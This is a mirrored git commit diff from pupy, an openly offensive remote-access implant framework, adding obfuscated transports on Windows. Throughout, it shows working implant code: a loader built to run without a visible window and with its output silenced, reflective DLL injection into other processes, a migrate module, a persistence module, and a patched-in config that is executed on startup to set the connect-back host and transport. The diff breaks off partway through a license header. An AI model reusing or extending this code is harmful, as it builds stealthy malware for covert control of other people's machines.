mirror of https://github.com/n1nj4sec/pupy.git
obfsproxy pluggable transports now works on windows ! ex: ./pupygen --transport obfs3 && ./pupysh --transport obfs3
This commit is contained in:
parent
14895b05fc
commit
3af2a4455d
|
@ -32,6 +32,7 @@ client/**/*.py[cod]
|
|||
pupy/*.py[cod]
|
||||
pupy/pupylib/**/*.py[cod]
|
||||
pupy/modules/*.py[cod]
|
||||
pupy/network/**/*.py[cod]
|
||||
|
||||
# do not ignore package & templates files
|
||||
!pupy/packages/
|
||||
|
|
|
@ -17,22 +17,22 @@ if not (len(sys.argv)==3 and sys.argv[1]=="genzip"):
|
|||
exit("This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub\nplease don't use this if you don't want to recompile from sources")
|
||||
if sys.argv[2] == 'x86':
|
||||
outname = 'x86'
|
||||
platform = 'x86'
|
||||
platform = '32'
|
||||
elif sys.argv[2] == 'x64':
|
||||
outname = 'x64'
|
||||
platform = 'amd64'
|
||||
platform = '-amd64'
|
||||
else:
|
||||
exit('unsupported platform')
|
||||
sys.argv=[sys.argv[0],"py2exe"]
|
||||
|
||||
|
||||
# put necessary library patches/includes/whatever in this directory
|
||||
sys.path.insert(0, "sources/resources/library_patches")
|
||||
|
||||
sys.path.insert(0, os.path.join("sources","resources","library_patches"))
|
||||
sys.path.insert(0, os.path.join("..","pupy"))
|
||||
|
||||
setup(
|
||||
data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))],
|
||||
console=['reverse_ssl.py'],
|
||||
#data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))],
|
||||
console=['..\\pupy\\pp.py'],
|
||||
#windows=['reverse_ssl.py'],
|
||||
#zipfile=None,
|
||||
options={ "py2exe" : {
|
||||
|
@ -49,19 +49,25 @@ excluded_files = [
|
|||
'library.zip',
|
||||
'mswsock.dll',
|
||||
'python27.dll',
|
||||
'pp.exe',
|
||||
'w9xpopen.exe',
|
||||
]
|
||||
|
||||
def zwalk(path, zf):
|
||||
for root, dirs, files in os.walk(path):
|
||||
for file in files:
|
||||
if file.lower() in excluded_files:
|
||||
pass
|
||||
elif file.endswith('.pyd') and "." in file.rsplit(".",1)[0]:
|
||||
arch_path="/".join(file.rsplit(".",1)[0].split('.'))
|
||||
zf.write(os.path.join(root,file),arcname=arch_path+".pyd")
|
||||
else:
|
||||
zf.write(os.path.join(root, file))
|
||||
|
||||
|
||||
with zipfile.ZipFile('sources/resources/library%s.zip' % outname, 'w', zipfile.ZIP_DEFLATED) as zf:
|
||||
root = os.getcwd()
|
||||
os.chdir('build/bdist.win-%s/winexe/collect-2.7' % platform)
|
||||
os.chdir('build/bdist.win%s/winexe/collect-2.7' % platform)
|
||||
zwalk('.', zf)
|
||||
os.chdir('%s/dist' % root)
|
||||
zwalk('.', zf)
|
||||
|
|
|
@ -4,7 +4,6 @@ PYTHONPATH=C:/Python27
|
|||
PYTHON=$(PYTHONPATH)/python.exe
|
||||
|
||||
TEMPLATE_OUTPUT_PATH=..\..\pupy\payload_templates
|
||||
|
||||
ifndef ARCH
|
||||
$(error You must specify an architecture.)
|
||||
else
|
||||
|
@ -14,14 +13,20 @@ else
|
|||
CFLAGS:=$(CFLAGS) /DWIN_X86
|
||||
endif
|
||||
endif
|
||||
ifdef DEBUG
|
||||
DEBUG_ADD:=DEBUG
|
||||
CFLAGS:= $(CFLAGS) /DDEBUG
|
||||
else
|
||||
DEBUG_ADD:=
|
||||
endif
|
||||
|
||||
PYOBJS=_memimporter.obj MyLoadLibrary.obj Python-dynload.obj pupy_load.obj pupy.obj base_inject.obj
|
||||
COMMON_OBJS=resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj resources_library_compressed_string_txt.obj actctx.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj resources_msvcr90_dll.obj
|
||||
|
||||
all: $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll
|
||||
|
||||
resources\library_compressed_string_$(ARCH).txt: gen_library_compressed_string.py
|
||||
$(PYTHON) $+
|
||||
resources\library_compressed_string_$(ARCH).txt: gen_library_compressed_string.py resources\library$(ARCH).zip
|
||||
$(PYTHON) gen_library_compressed_string.py
|
||||
|
||||
resources\library_compressed_string.txt: resources\library_compressed_string_$(ARCH).txt
|
||||
copy $< $@
|
||||
|
@ -29,8 +34,8 @@ resources\library_compressed_string.txt: resources\library_compressed_string_$(A
|
|||
resources_library_compressed_string_txt.c: gen_resource_header.py resources\library_compressed_string.txt
|
||||
$(PYTHON) $+
|
||||
|
||||
resources\bootloader.pyc: gen_python_bootloader.py ..\..\pupy\packages\all\pupyimporter.py
|
||||
$(PYTHON) $+
|
||||
resources\bootloader.pyc: gen_python_bootloader.py ..\..\pupy\packages\all\pupyimporter.py ..\..\pupy\pp.py
|
||||
$(PYTHON) gen_python_bootloader.py $(DEBUG_ADD)
|
||||
|
||||
resources_bootloader_pyc.c: gen_resource_header.py resources\bootloader.pyc
|
||||
$(PYTHON) $+
|
||||
|
@ -50,6 +55,9 @@ resources_msvcr90_dll.c: gen_resource_header.py resources\msvcr90.dll
|
|||
$(PYOBJS): %.obj: %.c
|
||||
$(CC) /c $(CFLAGS) /I$(PYTHONPATH)/include $<
|
||||
|
||||
main_exe.obj: main_exe.c
|
||||
$(CC) /c $(CFLAGS) $<
|
||||
|
||||
%.obj: %.c
|
||||
$(CC) /c $(CFLAGS) $<
|
||||
|
||||
|
@ -57,7 +65,7 @@ ReflectiveLoader.obj: ReflectiveLoader.c
|
|||
$(CC) /c $(CFLAGS) /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /O2 /Ob1 $<
|
||||
|
||||
$(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS)
|
||||
$(CC) $(CFLAGS) $+ /Fe$@
|
||||
$(CC) $(CFLAGS) $+ /Fe$@
|
||||
|
||||
$(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS)
|
||||
$(CC) $(CFLAGS) $+ /Fe$@ /LD
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
import sys
|
||||
import marshal
|
||||
import struct
|
||||
import base64
|
||||
|
@ -20,7 +21,8 @@ sys.stdout = Blackhole()
|
|||
sys.stderr = Blackhole()
|
||||
del Blackhole
|
||||
"""
|
||||
#remove_stdout=""
|
||||
if len(sys.argv)==2 and sys.argv[1].strip().lower()=="debug":
|
||||
remove_stdout=""
|
||||
def get_load_module_code(code, modulename):
|
||||
loader="""
|
||||
import imp, sys
|
||||
|
@ -42,9 +44,9 @@ if __name__=="__main__":
|
|||
with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f:
|
||||
code=f.read()
|
||||
code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "<string>", "exec"))
|
||||
code_bytes.append(compile("import pupyimporter;pupyimporter.install()\n", "<string>", "exec"))
|
||||
code_bytes.append(compile("import pupyimporter;pupyimporter.install();pupyimporter.load_pywintypes()\n", "<string>", "exec"))
|
||||
#code_bytes.append(compile("import platform; print platform.uname()\n", "<string>", "exec"))
|
||||
with open(os.path.join("..","reverse_ssl.py")) as f:
|
||||
with open(os.path.join("..",'..','pupy',"pp.py")) as f:
|
||||
code=f.read()
|
||||
code_bytes.append(compile(code+"\n", "<string>", "exec"))
|
||||
code_bytes=marshal.dumps(code_bytes)
|
||||
|
|
|
@ -3,20 +3,11 @@
|
|||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "pupy_load.h"
|
||||
#ifndef DEBUG
|
||||
#pragma comment(linker, "/subsystem:windows /ENTRY:mainCRTStartup")
|
||||
#endif
|
||||
|
||||
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
|
||||
|
||||
|
||||
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
|
||||
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
|
||||
int main(int argc, char *argv[]){
|
||||
if (argc==2){
|
||||
memcpy(connect_back_host, argv[1], strlen(argv[1])+1);
|
||||
}
|
||||
if(strcmp(connect_back_host,"<default_connect_back_host>:<default_connect_back_port>")==0){
|
||||
printf("usage: %s <host>:<port>",argv[0]);
|
||||
return 1;
|
||||
}
|
||||
return mainThread(NULL);
|
||||
}
|
||||
|
||||
|
|
|
@ -1,16 +1,14 @@
|
|||
/*
|
||||
* Author : Nicolas VERDIER
|
||||
*
|
||||
*/
|
||||
//#pragma comment(lib, "user32")
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
*/
|
||||
|
||||
#pragma comment(lib, "user32")
|
||||
|
||||
#include <windows.h>
|
||||
#include "pupy_load.h"
|
||||
#include "ReflectiveDllInjection.h"
|
||||
|
||||
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
|
||||
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
//===============================================================================================//
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
/*
|
||||
For the pupy_builtins compiled into pupy exe and reflective DLL stubs we need "Python-dynload.h".
|
||||
For the standalone .pyd we need <Python.h>
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
*/
|
||||
|
||||
#include "Python-dynload.h"
|
||||
|
@ -11,11 +11,7 @@ static char module_doc[] = "Builtins utilities for pupy";
|
|||
|
||||
extern const char resources_library_compressed_string_txt_start[];
|
||||
extern const int resources_library_compressed_string_txt_size;
|
||||
#ifndef STANDALONE
|
||||
extern char connect_back_host[100];
|
||||
#else
|
||||
char connect_back_host[100] = "0.0.0.0:443";
|
||||
#endif
|
||||
char pupy_config[4096]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup
|
||||
extern const DWORD dwPupyArch;
|
||||
static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args)
|
||||
{
|
||||
|
@ -23,10 +19,11 @@ static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args
|
|||
}
|
||||
|
||||
static PyObject *
|
||||
Py_get_connect_back_host(PyObject *self, PyObject *args)
|
||||
Py_get_pupy_config(PyObject *self, PyObject *args)
|
||||
{
|
||||
return Py_BuildValue("s", connect_back_host);
|
||||
return Py_BuildValue("s", pupy_config);
|
||||
}
|
||||
|
||||
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
|
||||
{
|
||||
if(dwPupyArch==PROCESS_ARCH_X86){
|
||||
|
@ -73,7 +70,7 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
|
|||
}
|
||||
|
||||
static PyMethodDef methods[] = {
|
||||
{ "get_connect_back_host", Py_get_connect_back_host, METH_NOARGS, "get_connect_back_host() -> (ip, port)" },
|
||||
{ "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
|
||||
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
|
||||
{ "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS },
|
||||
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
|
||||
|
|
|
@ -1,3 +1,8 @@
|
|||
/*
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
*/
|
||||
|
||||
#define QUIET // uncomment to avoid debug prints
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
@ -9,10 +14,6 @@
|
|||
#include "resource_python_manifest.c"
|
||||
#include "base_inject.h"
|
||||
|
||||
|
||||
HANDLE MyActCtx;
|
||||
static ULONG_PTR actToken;
|
||||
|
||||
extern const char resources_python27_dll_start[];
|
||||
extern const int resources_python27_dll_size;
|
||||
extern const char resources_bootloader_pyc_start[];
|
||||
|
@ -46,15 +47,6 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
|||
char tmp_manifest_path[MAX_PATH];
|
||||
char tmp_path[MAX_PATH];
|
||||
ULONG_PTR cookie = 0;
|
||||
/*
|
||||
ACTCTX ctx;
|
||||
BOOL activated;
|
||||
HANDLE k32;
|
||||
HANDLE (WINAPI *CreateActCtx)(PACTCTX pActCtx);
|
||||
BOOL (WINAPI *ActivateActCtx)(HANDLE hActCtx, ULONG_PTR *lpCookie);
|
||||
void (WINAPI *AddRefActCtx)(HANDLE hActCtx);
|
||||
BOOL (WINAPI *DeactivateActCtx)(DWORD dwFlags, ULONG_PTR ulCookie);
|
||||
*/
|
||||
PyGILState_STATE restore_state;
|
||||
|
||||
if(!GetModuleHandle("msvcr90.dll")){
|
||||
|
@ -71,47 +63,10 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
|||
|
||||
GetTempPath(MAX_PATH, tmp_path);
|
||||
//InitializeCriticalSection(&csInit);
|
||||
/*
|
||||
k32 = LoadLibrary("kernel32");
|
||||
CreateActCtx = (void*)GetProcAddress(k32, "CreateActCtxA");
|
||||
ActivateActCtx = (void*)GetProcAddress(k32, "ActivateActCtx");
|
||||
AddRefActCtx = (void*)GetProcAddress(k32, "AddRefActCtx");
|
||||
DeactivateActCtx = (void*)GetProcAddress(k32, "DeactivateActCtx");
|
||||
|
||||
|
||||
if (!CreateActCtx || !ActivateActCtx)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
ZeroMemory(&ctx, sizeof(ctx));
|
||||
ctx.cbSize = sizeof(ACTCTX);
|
||||
GetTempFileName(tmp_path, "tmp", 0, tmp_manifest_path);
|
||||
|
||||
|
||||
f=fopen(tmp_manifest_path,"w");
|
||||
fprintf(f,"%s",resource_python_manifest);
|
||||
fclose(f);
|
||||
#ifndef QUIET
|
||||
fprintf(stderr,"manifest written to %s\n",tmp_manifest_path);
|
||||
#endif
|
||||
ctx.lpSource = tmp_manifest_path;
|
||||
|
||||
MyActCtx=CreateActCtx(&ctx);
|
||||
if (MyActCtx != NULL)
|
||||
{
|
||||
AddRefActCtx(MyActCtx);
|
||||
}
|
||||
#ifndef QUIET
|
||||
DeleteFile(tmp_manifest_path);
|
||||
#endif
|
||||
*/
|
||||
|
||||
if(!Py_IsInitialized)
|
||||
{
|
||||
int res=0;
|
||||
//activated = ActivateActCtx(MyActCtx, &actToken);
|
||||
//cookie=_My_ActivateActCtx();
|
||||
if(GetModuleHandle("python27.dll")){
|
||||
HANDLE hp;
|
||||
#ifndef QUIET
|
||||
|
@ -144,7 +99,6 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
|||
fprintf(stderr,"python interpreter loaded\n");
|
||||
#endif
|
||||
}
|
||||
//_My_DeactivateActCtx(cookie);
|
||||
}
|
||||
#ifndef QUIET
|
||||
fprintf(stderr,"calling PyEval_InitThreads() ...\n");
|
||||
|
@ -177,15 +131,12 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
|||
fprintf(stderr,"initpupy()\n");
|
||||
#endif
|
||||
|
||||
//mod = PyImport_ImportModule("sys");
|
||||
|
||||
//MessageBoxA(0, "hey ! :D", "DLL Message", MB_OK | MB_ICONINFORMATION);
|
||||
|
||||
/* We execute then in the context of '__main__' */
|
||||
#ifndef QUIET
|
||||
fprintf(stderr,"starting evaluating python code ...\n");
|
||||
#endif
|
||||
//PyRun_SimpleString("print 'ok from python'");
|
||||
m = PyImport_AddModule("__main__");
|
||||
if (m) d = PyModule_GetDict(m);
|
||||
if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size);
|
||||
|
@ -206,16 +157,7 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
|||
}
|
||||
}
|
||||
PyGILState_Release(restore_state);
|
||||
//if (PyErr_Occurred())
|
||||
// PyErr_Print();
|
||||
Py_Finalize();
|
||||
/*
|
||||
if (!DeactivateActCtx(0, actToken)){
|
||||
#ifndef QUIET
|
||||
fprintf(stderr,"LOADER: Error deactivating context!\n!");
|
||||
#endif
|
||||
}
|
||||
*/
|
||||
//DeleteCriticalSection(&csInit);
|
||||
|
||||
return 0;
|
||||
|
|
|
@ -48,10 +48,10 @@ class MigrateModule(PupyModule):
|
|||
if self.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
|
||||
isProcess64bits=True
|
||||
self.success("process is 64 bits")
|
||||
dllbuff=pupygen.get_edit_pupyx64_dll(host, port)
|
||||
dllbuff=pupygen.get_edit_pupyx64_dll(host, port, self.client.pupsrv.transport)
|
||||
else:
|
||||
self.success("process is 32 bits")
|
||||
dllbuff=pupygen.get_edit_pupyx86_dll(host, port)
|
||||
dllbuff=pupygen.get_edit_pupyx86_dll(host, port, self.client.pupsrv.transport)
|
||||
self.success("injecting DLL in target process %s ..."%pid)
|
||||
self.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
|
||||
self.success("DLL injected !")
|
||||
|
|
|
@ -46,9 +46,9 @@ class PersistenceModule(PupyModule):
|
|||
#generating exe
|
||||
self.info("generating exe ...")
|
||||
if self.client.desc['proc_arch']=="64bit":
|
||||
exebuff=pupygen.get_edit_pupyx64_exe(host, port)
|
||||
exebuff=pupygen.get_edit_pupyx64_exe(host, port, self.pupsrv.transport)
|
||||
else:
|
||||
exebuff=pupygen.get_edit_pupyx86_exe(host, port)
|
||||
exebuff=pupygen.get_edit_pupyx86_exe(host, port, self.pupsrv.transport)
|
||||
if args.method=="registry":
|
||||
self.client.load_package("pupwinutils.persistence")
|
||||
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
|
||||
class Circuit(object):
|
||||
""" alias for obfsproxy style syntax"""
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# This file has been taken from obfsproxy project
|
||||
# Using the same buffer object as in obfsproxy to enhance compatibility
|
||||
|
||||
#some modifications brings to have waiting capabilities
|
||||
import threading
|
||||
class Buffer(object):
|
||||
"""
|
||||
A Buffer is a simple FIFO buffer. You write() stuff to it, and you
|
||||
|
@ -13,9 +13,20 @@ class Buffer(object):
|
|||
"""
|
||||
self.buffer = bytes(data)
|
||||
self.on_write_f=on_write
|
||||
self.waiting_lock=threading.Lock()
|
||||
self.waiting=threading.Event()
|
||||
|
||||
|
||||
def on_write(self):
|
||||
if self.on_write_f:
|
||||
self.on_write_f()
|
||||
|
||||
def wait(self, timeout=0.1):
|
||||
""" wait for a size """
|
||||
with self.waiting_lock:
|
||||
self.waiting.clear()
|
||||
self.waiting.wait(timeout)
|
||||
|
||||
def read(self, n=-1):
|
||||
"""
|
||||
Read and return 'n' bytes from the buffer.
|
||||
|
@ -38,8 +49,10 @@ class Buffer(object):
|
|||
"""
|
||||
Append 'data' to the buffer.
|
||||
"""
|
||||
self.buffer = self.buffer + data
|
||||
self.on_write()
|
||||
with self.waiting_lock:
|
||||
self.buffer = self.buffer + data
|
||||
self.on_write()
|
||||
self.waiting.set()
|
||||
|
||||
def peek(self, n=-1):
|
||||
"""
|
||||
|
|
Binary file not shown.
|
@ -1,5 +1,6 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
from .servers import PupyTCPServer
|
||||
from .clients import PupyTCPClient, PupySSLClient
|
||||
from .transports import dummy, b64
|
||||
|
@ -14,18 +15,18 @@ except ImportError:
|
|||
from rpyc.utils.authenticators import SSLAuthenticator
|
||||
|
||||
ssl_auth=None
|
||||
config = configparser.ConfigParser()
|
||||
try:
|
||||
|
||||
def ssl_authenticator():
|
||||
config = configparser.ConfigParser()
|
||||
config.read("pupy.conf")
|
||||
except Exception:
|
||||
logging.error("couldn't read pupy.conf")
|
||||
return SSLAuthenticator(config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH")
|
||||
|
||||
transports={
|
||||
"tcp_ssl" : {
|
||||
"server" : PupyTCPServer,
|
||||
"client": PupySSLClient,
|
||||
"client_kwargs" : {},
|
||||
"authenticator" : SSLAuthenticator(config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH"),
|
||||
"authenticator" : ssl_authenticator,
|
||||
"stream": PupySocketStream ,
|
||||
"client_transport" : dummy.DummyPupyTransport,
|
||||
"server_transport" : dummy.DummyPupyTransport,
|
||||
|
|
Binary file not shown.
|
@ -1,6 +1,8 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
""" abstraction layer over rpyc streams to handle different transports and integrate obfsproxy pluggable transports """
|
||||
import sys
|
||||
from rpyc.core import SocketStream
|
||||
from .buffer import Buffer
|
||||
import socket
|
||||
|
@ -9,6 +11,8 @@ import errno
|
|||
import logging
|
||||
import traceback
|
||||
from rpyc.lib.compat import select, select_error, BYTES_LITERAL, get_exc_errno, maxint
|
||||
import threading
|
||||
retry_errnos = (errno.EAGAIN, errno.EWOULDBLOCK)
|
||||
|
||||
class PupySocketStream(SocketStream):
|
||||
def __init__(self, sock, transport_class):
|
||||
|
@ -21,6 +25,9 @@ class PupySocketStream(SocketStream):
|
|||
self.downstream=Buffer(on_write=self._upstream_recv)
|
||||
self.transport=transport_class(self)
|
||||
self.on_connect()
|
||||
#self.async_read_thread=threading.Thread(target=self._downstream_recv_loop)
|
||||
#self.async_read_thread.daemon=True
|
||||
#self.async_read_thread.start()
|
||||
|
||||
def on_connect(self):
|
||||
self.transport.on_connect()
|
||||
|
@ -28,7 +35,6 @@ class PupySocketStream(SocketStream):
|
|||
|
||||
def _read(self):
|
||||
try:
|
||||
#buf = self.sock.recv(min(self.MAX_IO_CHUNK, count))
|
||||
buf = self.sock.recv(self.MAX_IO_CHUNK)
|
||||
except socket.timeout:
|
||||
return
|
||||
|
@ -52,23 +58,29 @@ class PupySocketStream(SocketStream):
|
|||
|
||||
def _upstream_recv(self):
|
||||
""" called as a callback on the downstream.write """
|
||||
#print "upstream_recv"
|
||||
#print "downstream=%s"%len(self.downstream)
|
||||
#print "upstream=%s"%len(self.upstream)
|
||||
if len(self.downstream)>0:
|
||||
#print "writing %s"%len(self.downstream.peek())
|
||||
super(PupySocketStream, self).write(self.downstream.read())
|
||||
|
||||
def _downstream_recv_loop(self):
|
||||
try:
|
||||
while True:
|
||||
self._read()
|
||||
self.transport.downstream_recv(self.buf_in)
|
||||
except EOFError as e:
|
||||
self.upstream.set_eof(e)
|
||||
|
||||
|
||||
def read(self, count):
|
||||
try:
|
||||
if len(self.upstream)>=count:
|
||||
return self.upstream.read(count)
|
||||
while len(self.upstream)<count:
|
||||
if self.sock_poll(0):#to avoid waiting on the socket while a transport write on the upstream buffer resulting in deadlock
|
||||
if self.sock_poll(0):
|
||||
self._read()
|
||||
self.transport.downstream_recv(self.buf_in)
|
||||
if len(self.upstream)<count:
|
||||
time.sleep(0.1)#to avoid active wait
|
||||
#it seems we can actively wait here with only perf enhancement
|
||||
#if len(self.upstream)<count:
|
||||
# self.upstream.wait(0.1)#to avoid active wait
|
||||
return self.upstream.read(count)
|
||||
except Exception as e:
|
||||
logging.debug(traceback.format_exc())
|
||||
|
|
Binary file not shown.
|
@ -54,7 +54,7 @@ class PupyPackageLoader:
|
|||
self.extension = extension
|
||||
self.is_pkg=is_pkg
|
||||
self.path=path
|
||||
#self.archive=""
|
||||
self.archive="" #need this attribute
|
||||
|
||||
def load_module(self, fullname):
|
||||
imp.acquire_lock()
|
||||
|
@ -159,7 +159,18 @@ class PupyPackageFinder:
|
|||
finally:
|
||||
imp.release_lock()
|
||||
|
||||
def load_pywintypes():
|
||||
#loading pywintypes27.dll :-)
|
||||
global modules
|
||||
try:
|
||||
import pupy
|
||||
pupy.load_dll("pywintypes27.dll", modules["pywintypes27.dll"])
|
||||
except Exception as e:
|
||||
print e
|
||||
pass
|
||||
|
||||
def install():
|
||||
sys.meta_path.append(PupyPackageFinder(modules))
|
||||
sys.path_importer_cache.clear()
|
||||
|
||||
|
||||
|
|
24
pupy/pp.py
24
pupy/pp.py
|
@ -1,5 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
# ---------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# ---------------------------------------------------------------
|
||||
import site
|
||||
import sys
|
||||
import time
|
||||
|
@ -79,6 +93,7 @@ def get_next_wait(attempt):
|
|||
else:
|
||||
return random.randint(15,30)
|
||||
|
||||
|
||||
def add_pseudo_pupy_module(HOST):
|
||||
""" add a pseudo pupy module for *nix payloads """
|
||||
if not "pupy" in sys.modules:
|
||||
|
@ -90,9 +105,10 @@ def add_pseudo_pupy_module(HOST):
|
|||
mod.get_connect_back_host=(lambda : HOST)
|
||||
mod.pseudo=True
|
||||
|
||||
HOST="127.0.0.1:443"
|
||||
TRANSPORT="tcp_ssl"
|
||||
def main():
|
||||
HOST="127.0.0.1:443"
|
||||
TRANSPORT="tcp_ssl"
|
||||
global HOST, TRANSPORT
|
||||
if len(sys.argv)>1:
|
||||
parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec (contact@n1nj4.eu)\n")
|
||||
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default=TRANSPORT, help="the transport to use ! (the server needs to be configured with the same transport) ")
|
||||
|
@ -103,7 +119,9 @@ def main():
|
|||
if "windows" in platform.system().lower():
|
||||
try:
|
||||
import pupy
|
||||
HOST=pupy.get_connect_back_host()
|
||||
config_file=pupy.get_pupy_config()
|
||||
exec config_file in globals()
|
||||
pupy.get_connect_back_host=(lambda: HOST)
|
||||
except ImportError:
|
||||
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
|
||||
else:
|
||||
|
|
|
@ -1,58 +1,46 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
# ---------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
#
|
||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
#
|
||||
